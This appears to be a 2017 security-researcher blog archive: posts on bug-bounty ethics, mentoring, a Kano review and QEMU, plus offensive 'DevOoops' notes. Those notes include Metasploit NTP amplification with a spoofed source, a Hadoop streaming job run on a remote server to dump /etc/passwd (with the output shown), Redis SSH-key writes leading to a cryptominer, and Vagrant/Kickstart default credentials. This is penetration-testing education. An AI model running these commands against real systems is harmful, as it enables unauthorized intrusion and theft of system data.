Thursday, June 29, 2017

Follow up to the vuln disclosure post


Summary of responses from this post: http://carnal0wnage.attackresearch.com/2017/06/vulnerability-disclosure-free-bug.html

I wanted to document/summarize some of the responses I received and some of the insights I gained via self observation and my interactions with others on the topic.

I received a few replies (less than I hoped for though). To summarize a few:

-I'm not a greedy bastard for thinking it would "be nice" to get paid for reporting a vuln but I should not expect them.

-Bug Bounty awards are appreciation for the work not a right.

-Someone made a nice analogy to losing AWS/Slack keys to losing a cell phone or cat.  Every person might value the return of that cat or phone differently.

-I'm super late to the game if I want to get on the "complain about bug bounties / compensation" train.  **I think this is not quite the same situation but I appreciate the comment**

-The bigger the company, the harder it is to issue an ad-hoc reward if they don't have an established process.

-They [the vulns] have value - just not monetary. The value is to the end-user.

-Generally speaking, I [the author of the comment] think quite a lot of the BB crowd have a self-entitled, bad attitude.

-Always ask yourself if this will hurt innocent people. If so, report it, but make sure the public knows that they f*cked it up.

This blog post reply: https://blog.anantshri.info/response-vulnerability-disclosure-free-bug-reports-greedy-bastard/
---

I got a variety responses from it's the right thing to do... up to if they don't pay up, they don't get the info. Collectively,  I don't think we are any closer to an answer.

To get a bit more personal on the subject. I think this piece from Ferris Bueller's Day Off sums it up to an extent:

https://www.youtube.com/watch?v=H19uKs99vIw&feature=youtu.be&t=1m15s

"The problem is with me"


I've been giving quite a bit of thought to what component of the process brings me the most excitement and enjoyment.  I believe I have identified what component brings me the most enjoyment and will focus on that piece and work to manage any expectations I place on others.

I very much appreciate everyone that engaged in the conversation with me.

More things to think about for sure :-)







CG

Monday, June 26, 2017

Vulnerability Disclosure, Free Bug Reports & Being a Greedy Bastard


Backstory:

Most of my life I've been frustrated/intrigued that my Dad was constantly upset that he would "do the right thing" by people and in return people wouldn't show him gratitude... up to straight up fucking him over in return. Over and over the same cycle would repeat of him doing right by someone only to have that person not reciprocate.

The above is important as it relates to the rest of the post and topic(s).

I was relaying some frustrations to a close non-infosec friend about my experience of discovering  companies had made some fairly serious Internet security uh ohs... like misconfigured s3 buckets full of db backups and creds, root AWS keys checked into github, or slack tokens checked into github/pastebin that would give companies a "REALLY bad day".  These companies had been receptive to the reporting and fixed the problem but did NOT have bug bounty programs and thus did not pay a bounty for the reporting of the issue.

My friend, with some great insight and observation, suggested that I was getting frustrated and doing exactly the same thing my Dad was doing by having assumptions on how other people should behave.

So this blog post is an attempt for me to work thru some of these issues and have a discussion about the topics.


Questions I don't necessarily have answers for:

1. Does a vulnerability I wasn't asked to find have value?

2. If someone outside your company reports an issue and you fix it, does that issue/report now have value/deserve to be paid for (bug bounty)?

3a. If #1 or #2 is Yes, when a business doesn't have a Bug Bounty program, are they morally/ethically/peer pressure obligated to pay something?  If they have a BB program I think most people agree yes. But what about when they don't?

3b. Does the size of the business make a difference? If so, what level?  mom and pop maybe not, VC funded startup?  30 billion dollar Hedge Fund?

4. Is a "Thanks Bro!" enough or have we evolved as a society where basically everything deserves some sort of monetary reward. After being an observer for two BB programs...."f**k you pay me" seems to be the current attitude. If they did a public "Thanks Bro" does that make a difference/satisfy my ego?

5a. Is "making the Internet safer" enough of a reward?

5b. Does a company with an open S3 bucket make the Internet less safe? Does a company leaking client data make the Internet less safe? [I think Yes]
Does a company leaking their OWN data make the Internet less safe? [It's good for their competitors]

If they get ransomeware'd or their EC2 infra shut down/turned off/deleted codespaces style am I somewhat (morally) responsible if I didn't report it?

6. Does ignoring a pretty signifiant issue for a company make me a "bad person"?

7a. Am I a "bad person" if I want $$$ for reporting the issue?

7b. If yes, is that because I make $X and I'm being a greedy bastard? What if I made way less money?

7c. Does ignoring/not reporting an issue because I probably wont get $$ make me a "bad person"? numbers 1-3 come into play here for sure


My last two jobs, I've worked for companies that had Bug Bounty programs so my opinion on the above is DEFINITELY shaped by working for companies that  get it understand and care about their security posture and do feel that reporting security issues by outside researchers has monetary value. An added benefit to have a program, especially through one of the BB vendors, is that you get to NDA the researchers and you get to control disclosure.


Thoughts/comments VERY welcome on this one.  Leaving comments seems out of style now but I do have open DM on twitter if you want to go that route.  I have a few real world experiences with this where I let some companies know some pretty serious stuff (slack token with access to corp slack, S3 buckets with creds/db backups, and root aws keys checked into github for weeks) where it was fixed with no drama but no bounty paid.


-CG
CG

Tuesday, June 20, 2017

NTP/SNMP amplification attacks


I needed to verify a SNMP and NTP amplification vulnerability was actually working.

Metasploit  has a few scanners for ntp vulns in the auxiliary/scanner/ntp/ntp_* and it will report hosts as being vulnerable to amplification attacks.

msf auxiliary(ntp_readvar) > run

[*] Sending NTP v2 READVAR probes to 1.1.1.1->1.1.1.1 (1 hosts)

[+] 1.1.1.1:123 - Vulnerable to NTP Mode 6 READVAR DRDoS: No packet amplification and a 34x, 396-byte bandwidth amplification


I've largely not paid attention to these types of attacks in the past but in this case needed to validate I could get the vulnerable host to send traffic to a target/spoofed IP.

I set up 2 boxes to run the attack; an attack box and a target box that I used as the spoofed source IP address.  I  ran tcpdump on the target/spoofed server (yes...listening for UDP packets) it was receiving no UDP packets when I ran the attack.  If I didn't spoof the source IP,  the vulnerable server would send data back to the attacker IP but not the spoofed IP.

Metasploit (running as root) can spoof the IP for you:

msf auxiliary(ntp_readvar) > set SRCIP 2.2.2.2
SRCIP => 2.2.2.2
msf auxiliary(ntp_readvar) > run

[*] Sending NTP v2 READVAR probes to 1.1.1.1->1.1.1.1 (1 hosts)

[*] Sending 1 packet(s) to 1.1.1.1 from 2.2.2.2

To rule out it wasn't a Metasploit thing I also worked thru the attack with scapy following the examples here:
http://www.nothink.org/misc/snmp_reflected.php

So I asked on Twitter...fucking mistake...after getting past the trolls and well intentioned people that didn't think I understood basic networking/spoofing at all (heart u) link #1,  link #2 as the likely reason I couldn't spoof the IP. As well as a hint that the last time someone got it to work they had to rent a physical server in a dodgy colo.

A bit of reading later I found https://spoofer.caida.org/recent_tests.php which allows you to check and see if a particular ASN supports spoofing along with the stats that only 20% of the Internet allows spoofing.




source: https://spoofer.caida.org/summary.php

Checking common ISP and cloud provider ASNs showed that most weren't vulnerable to spoofing.

So mystery solved and another aux module/vuln scanner result that can be quickly triaged and/or ignored.

If someone has had different results please let me know.


P.S.
Someone asked if the vuln host was receiving the traffic. I couldn't answer for the initial host but to satisfy my curiosity on the issue  I built a vulnerable NTP server and it did NOT receive the traffic even with hosts from the same VPS provider in the same data center (different subnets).







CG

Wednesday, June 7, 2017

Mentoring: On meeting your **Heroes**


Mentoring: On meeting your  **Heroes**

I put heroes in asterisks because none of us have paparazzi following us around. I regularly use Val Smith's quote about even the most popular infosec person is like being a famous bowler.  Except for rare exceptions, no one outside of our community knows who we are. I've broken into at least one company from every vertical and my neighbor just asks me to help configure his wifi.




This topic came up because the person I'm mentoring met "a famous infosec person" and the guy proceed to be a drunk dbag to him.  It ended up taking quite a bit of wind out of his sail to have someone he kinda looked up to bag on his current career state and talks he was working on.

When I first joined the army how I thought anyone with a "tower of power" (Expert Infantry Badge, Airborne, Air Assault) was an awesome, do no wrong, individual.  Shit, If someone has all this shit on their chest they must be badass right??!!
For more info on badges: https://en.wikipedia.org/wiki/Badges_of_the_United_States_Army

Well the Army does a great job of stacking the people you initially meet as being pretty decent individuals. I think most people think highly of their drill sergeants their entire life.  So the first few people I met that had these badges reaffirmed this belief.  Then I got out and met a few more and was completely let down at the quality of these people.  When I say let down, I mean defeated/totally bothered that these people didn't live up to the pedestal I had put them on. It REALLY bothered me.

What you learn is that in the military you get to wear a badge you earned at any point in your career your entire career.  So maybe as some point someone was awesome enough to earn a badge. This doesn't mean they are a great leader, still good at what the badge means they are good at or even a good person. It means at one point in time they met a criteria and earned a badge.

How does this relate to Infosec?

We are all humans and generally react poorly to any sort of fame.

A good chunk of us are introverts.

The "community" values exploits and clever hacks over being a good person or helping others.

We have people that 10 years later are still riding the vapor trails of some awesome shit they did but havent done anything else relevant since.  Some people have giant egos that only care about you if you are currently in the process of kissing their ass.  To be fair if people ARE kissing your ass its hard not get an ego but you have to work hard to check that shit at the door.

Remember we are famous bowlers?


What can you do?

Check your ego.

Stay Humble.

Help (mentor) others.

Always remember how you felt when that hero dissed you when you are someone else's hero.


-CG





CG

Monday, June 5, 2017

DevOoops: Hadoop


What is Hadoop?

"The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models. It is designed to scale up from single servers to thousands of machines, each offering local computation and storage. Rather than rely on hardware to deliver high-availability, the library itself is designed to detect and handle failures at the application layer, so delivering a highly-available service on top of a cluster of computers, each of which may be prone to failures."
from: http://hadoop.apache.org/

If you've ever heard of MapReduce...you've heard of Hadoop.

NFI what i'm talking a bout? Here is a 3minute video on it: https://www.youtube.com/watch?v=8wjvMyc01QY

What are common issues with MapReduce / Hadoop?

Hadoop injection points from Kaluzny zeronights talk:



Hue

Common defaults admin/admin, cloudera/cloudera



Although occasionally you'll find one that will just let you pick your own :-)

If you gain access, full HDFS access, run queries, etc


HDFS WebUI
HDFS exposes a web server which is capable of performing basic status monitoring and file browsing operations. By default this is exposed on port 50070 on the NameNode. Accessing http://namenode:50070/ with a web browser will return a page containing overview information about the health, capacity, and usage of the cluster (similar to the information returned by bin/hadoop dfsadmin -report).





From this interface, you can browse HDFS itself with a basic file-browser interface. Each DataNode exposes its file browser interface on port 50075.





update: The hadoop attack library is worth checking out.
https://github.com/wavestone-cdt/hadoop-attack-library

Most up-to-date presentation on hadoop attack library: https://www.slideshare.net/phdays/hadoop-76515903

There is a piece around RCE (https://github.com/CERT-W/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Executing%20remote%20commands)

You'll need info found in ip:50070/conf





TLDR; find the correct open Hadoop ports and run a map reduce job against the remote hadoop server. 
You need to be able to access the following Hadoop services through the network:
  • YARN ResourceManager: usually on ports 8030, 8031, 8032, 8033 or 8050
  • NameNode metadata service in order to browse the HDFS datalake: usually on port 8020
  • DataNode data transfer service in order to upload/download file: usually on port 50010


Let's see it in action:


lookupfailed-2:hadoop CG$ hadoop jar /usr/local/Cellar/hadoop/2.7.3/libexec/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -input /tmp/a.txt -output blah_blah -mapper "/bin/cat /etc/passwd" -reducer NONE

17/01/05 22:11:40 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
packageJobJar: [/var/folders/r8/6hjsj3h92wn82btldp7zlyb40000gn/T/hadoop-unjar5960812935334004257/] [] /var/folders/r8/6hjsj3h92wn82btldp7zlyb40000gn/T/streamjob4422445860444028358.jar tmpDir=null
17/01/05 22:11:41 INFO client.RMProxy: Connecting to ResourceManager at nope.members.linode.com/1.2.3.4:8032
17/01/05 22:11:41 INFO client.RMProxy: Connecting to ResourceManager at nope.members.linode.com/1.2.3.4:8032
17/01/05 22:11:43 INFO mapred.FileInputFormat: Total input paths to process : 1
17/01/05 22:11:43 INFO mapreduce.JobSubmitter: number of splits:2
17/01/05 22:11:44 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1483672290130_0001
17/01/05 22:11:45 INFO impl.YarnClientImpl: Submitted application application_1483672290130_0001
17/01/05 22:11:45 INFO mapreduce.Job: The url to track the job: http://nope.members.linode.com:8088/proxy/application_1483672290130_0001/
17/01/05 22:11:45 INFO mapreduce.Job: Running job: job_1483672290130_0001
17/01/05 22:12:00 INFO mapreduce.Job: Job job_1483672290130_0001 running in uber mode : false
17/01/05 22:12:00 INFO mapreduce.Job:  map 0% reduce 0%
17/01/05 22:12:10 INFO mapreduce.Job:  map 100% reduce 0%
17/01/05 22:12:11 INFO mapreduce.Job: Job job_1483672290130_0001 completed successfully
17/01/05 22:12:12 INFO mapreduce.Job: Counters: 30
File System Counters
FILE: Number of bytes read=0
FILE: Number of bytes written=240754
FILE: Number of read operations=0
FILE: Number of large read operations=0
FILE: Number of write operations=0
HDFS: Number of bytes read=222
HDFS: Number of bytes written=2982
HDFS: Number of read operations=10
HDFS: Number of large read operations=0
HDFS: Number of write operations=4
Job Counters 
Launched map tasks=2
Data-local map tasks=2
Total time spent by all maps in occupied slots (ms)=21171
Total time spent by all reduces in occupied slots (ms)=0
Total time spent by all map tasks (ms)=21171
Total vcore-milliseconds taken by all map tasks=21171
Total megabyte-milliseconds taken by all map tasks=21679104
Map-Reduce Framework
Map input records=1
Map output records=56
Input split bytes=204
Spilled Records=0
Failed Shuffles=0
Merged Map outputs=0
GC time elapsed (ms)=279
CPU time spent (ms)=1290
Physical memory (bytes) snapshot=209928192
Virtual memory (bytes) snapshot=3763986432
Total committed heap usage (bytes)=65142784
File Input Format Counters 
Bytes Read=18
File Output Format Counters 
Bytes Written=2982
17/01/05 22:12:12 INFO streaming.StreamJob: Output directory: blah_blah

lookupfailed-2:hadoop CG$ hadoop fs -ls blah_blah
17/01/05 22:12:22 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
Found 3 items
-rw-r--r--   3 root supergroup          0 2017-01-05 22:12 blah_blah/_SUCCESS
-rw-r--r--   3 root supergroup       1491 2017-01-05 22:12 blah_blah/part-00000
-rw-r--r--   3 root supergroup       1491 2017-01-05 22:12 blah_blah/part-00001

lookupfailed-2:hadoop CG$ hadoop fs -cat blah_blah/part-00001
17/01/05 22:12:49 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
hduser:x:1000:1000:,,,:/home/hduser:/bin/bash



http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

Walks you thru how to get reverse shells or meterpreter shells (windows) if you can run commands.




Resources:
http://2015.zeronights.org/assets/files/03-Kaluzny.pdf

video of above talk from appsecEU 2015 https://www.youtube.com/watch?v=ClXKGI8AzTk
http://hackedexistence.com/downloads/Cloud_Security_in_Map_Reduce.pdf

https://media.blackhat.com/bh-us-10/presentations/Becherer/BlackHat-USA-2010-Becherer-Andrew-Hadoop-Security-slides.pdf 

https://securosis.com/assets/library/reports/Securing_Hadoop_Final_V2.pdf

https://github.com/CERT-W/hadoop-attack-library

https://www.sans.org/score/checklists/cloudera-security-hardening

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

http://www.cloudera.com/documentation/enterprise/latest/topics/cdh_ig_ports_cdh5.html


What did I miss?  Anything to add?

CG

Monday, May 29, 2017

Raspbian/Kano OS in QEMU


Quick notes


I wanted to be able to boot the Kano OS in a virtual machine so i could play hack minecraft with the kids and play along with the Kano OS desktop/games.  I was trying to avoid plugging a raspberry pi into an monitor to use and wanted to use it on my local laptop.

Well, not so easy. VirtualBox/VMware dont support ARM. However QEMU does.

This repo (https://github.com/dhruvvyas90/qemu-rpi-kernel/wiki/Emulating-Jessie-image-with-4.x.xx-kernel) had the recent raspberry pi kernels to use with QEMU.

If you follow the steps on that page with regards to mounting the image and editing /etc/ld.so.preload and /etc/fstab I was able to get the image to boot up successfully...slow as hell...but it technically was working.

command to boot with vnc:


$ qemu-system-arm -vnc :1 -kernel qemu-rpi-kernel/kernel-qemu-4.4.34-jessie -cpu arm1176 -m 256 -M versatilepb  -append "root=/dev/sda2 rootfstype=ext4 rw"  -hda Kanux-Beta-v3.9.0-Lovelace-jessie-rc-2017-03-23_04-48.img

OS with vnc:





I was so horribly slow i don't think this is feasible.  I am going to try using libvirt to make it better or just see if i can play hack minecraft another way.  If I get anywhere further with the project i'll post an update.




CG

Wednesday, March 29, 2017

InsomniaHack Trip Report



Insomni'Hack Info:
https://insomnihack.ch/



Favorite talks
Bridging the gap between ICS(IoT?) and corporate IT security
Stefan Lüders

I really enjoyed this talk hearing how an organization defends in a BYOD & academic environment. Defense is difficult when you control the hosts, even more so when you you cant instrument the host and have to rely on network controls only.

My favorite slide was their alerting stack:


Not sure when the slides will be released but here is an older version of the talk I found:
https://www.blackhat.com/docs/us-14/materials/us-14-Luders-Why-Control-System-Cyber-Security-Sucks.pdf

How we hacked Distributed Configuration Management Systems
Francis Alexander & Bharadwaj Machiraj

Awesome talk on breaking into 

  • HashiCorp Consul
  • Apache Zookeeper
  • CoreOS etcd
Tool they created:
https://github.com/torque59/Garfield


Modern reconnaissance phase on APT – protection layer
Paul Rascagnères

Fun talk on how APT have been implementing some checks to make sure the targets are valid prior to sending down the final stage of the attack. 

CERN
@cktricky and I also were able to give the talk at CERN. Background info on CERN: https://en.wikipedia.org/wiki/CERN

Archive of the talk:

Cool Pix:
Dropping Knowledge


Synchrocyclotron


Outside the Antimatter Factory

Thanks Twitter :-)
CG

Saturday, January 21, 2017

Kano review


Below is a quick review of the Kano computer.

WTF is it?

The kano computer is a raspberry pi based computer that is meant for kids to put together and build themselves.  Looks a bit like this:


propaganda video:


It ships with a nice guide that most kids will be able to follow to get the piece of the Kano computer up and running.  Optionally you can also buy a screen kit where everything can fit all together in a tidy package. The screen kit that houses the raspberry pi and and keyboard is the reason I went with the Kano over just piecing one together for the kids.




Once you get the hardware set up, the KanoOS walks you thru setting up a user account and starts off in story mode where you start off on SD beach and get to explore your computer in a RPG type environment.




You also have menu for kids where they can pick what they want to work on but also has a classic button if you want to get to a more normal Linux experience.



Not shown in the screenshot but definitely present in the menu now is a link to Scratch which this kids love. And of course no computer for kids cant not ship without Minecraft:




The OS is designed to get the kids to go through various quests to learn about the computer and as you complete quests more open up to you. More info around this is available on the Kano developer blog: http://developers.kano.me/2016/08/03/kano-os-beta-v340-released/

The Kano OS is available here: http://developers.kano.me/downloads/  if you want to throw it in a VM or raspberry pi you have around the house. It is also open source so you can contribute: https://github.com/KanoComputing

The Kano world portal also has fun stuff https://world.kano.me/projects 

As an added bonus Kano has been sending emails for the kids to experiment with stuff. 



This week's "Secrets of the Computer Kit" included an introduction to the Linux terminal and cowsay!

cowsay, with some Scratch on the other Kano

The kids also got their first real Linux experience by the screen flipping and it still being flipped after a reboot.  We eventually found an option in the menu to flip it back but it was a nice introduction to the hell that is running Linux...good times. Enjoy Linux hell boys I'll be here to help you <3 .="" p="">

Overall extremely pleased.  

Two negative experiences though:

One was the first upgrade process.  It took over 30 minutes to download all the updates. I ended up losing the kids for the nite during that process due to it taking so long.  

Second was the fact the computers showed up one day and the monitors the next!? WTF. I realize Kano doesn't have control of all things shipping but it was a real PITA to have computers and no monitors.  Suggestion: bundle kits should ship together.

Aside from the above, the kids have been enjoying their new computers.


I know it's coming so i'll just address it here: 250 bucks for a raspberry pi?!  Yeah kinda steep...but I did price something comparable out before I bought. Here is what I came up with:

https://www.adafruit.com/products/2718   Pi Foundation Display - 7" Touchscreen Display for Raspberry Pi  $79.95 

https://www.adafruit.com/products/2033  Pimoroni Raspberry Pi 7" Touchscreen Display Case - Noir  $14.95

https://www.adafruit.com/products/2253  Pi Model B+ / Pi 2 / Pi 3 Case Base - Clear  $5.00  LID 3.00

SD CARD 32 GB various $10-$20

https://www.adafruit.com/products/2876  Full Size Wireless Keyboard with Trackpad  $39.95


OR


Speaker:  ?? 10?

Misc cables to hook it al up ?? 20?

Total ~ $180

or 

https://www.adafruit.com/products/3116  Pi-Top - GREY - A Laptop Kit for Raspberry Pi B+ / Pi 2 / Pi 3  $274.95

None of the above with the exception of the Pi-Top fit nicely together, I'd end up having build it for the kids and I wanted them to build it themselves.  Plus the Kano comes in fun colors with stickers so they can make it their own.  I'm satisfied with the purchase but you could technically do it for the price of a raspberry pi and SD card if you have the other gear laying around.

In a similar vein is the Piper computer if you are considering things for kids:





CG

Wednesday, January 18, 2017

DevOoops: In-Memory Databases (Redis) Part 2


Doing part 2 first as the altcoin mining stuff is interesting with the mongoDB/elasticsearch ransomware stuff currently going on.

A redis developer dropped an interesting piece of info here

http://antirez.com/news/96

Namely:
“However, the ability to control the server configuration using the CONFIG command makes the client able to change the working directory of the program and the name of the dump file. This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running”

He goes on to show how someone could echo over SSH keys and use the config command to write them to the appropriate place if you have permissions.  He used a key name of "crackit" so I thought I'd see how prevalent it was....I checked a few and saw it a good chunk of them.

go go shodan




I did find something interesting while looking thru some open redis boxes.  I found:



A cron job? running a shell script. Can you do that from Redis???

What's in the shell script?!



alt coin mining! sweeeeeet.

I had no idea what an XMR is but I wanted to see how this person was doing with the money making. Thankfully you can just query the payouts for any XMR address. So I did:






They've made around $20,000 USD in BTC. I guess crime does pay :-)




To satisfy my curiosity started a miner up on a linode and was getting around 60 H/s. This person is cranking out 70 KH/s, so they have a few boxes working for them.


Extending the idea that a good hack yields plenty more I stumbled across this gem. https://phpinfo.me/2016/07/07/1275.html with several different ways to get code exec on redis.

I created some gists from the previous link in case the post disappears.



-CG-


CG

Monday, January 16, 2017

DevOoops: Client Provisioning (Vagrant)


Notes from the 2015 Devoops Talk

Vagrant used to ship with a default keypair and was difficult to rotate.

**fixed with new versions of Vagrant. Finding hosts using the default key still pretty likely.


Did you change your SSH keys?


Default Credentials

root/vagrant  vagrant/vagrant

No pass to sudo :-)


Scanning for the default key using metasploit (ssh_login_pubkey module)



Identify real from fake by ssh version scan



Log in with private key

CG

Friday, January 13, 2017

DevOoops: Client Provisioning (Kickstart Files)


Notes from the 2015 Devoops talk. Posting it so i can remove it from the slide deck but still refer to it.  Also relevant from a common problems with devops theme.

Kickstart Files

3 ways to set root password

1. Enter during installation

2. Crypted hash in the kickstart file
“rootpw --iscrypted”

3. Clear text in the kickstart file
“rootpw --plaintext”

Examples



 Kickstart Files Takeaways

Don't leave these files in open shares

Use the crypted password option for files

Have a process to change the password after initialization

Rotate the initial root password regularly





CG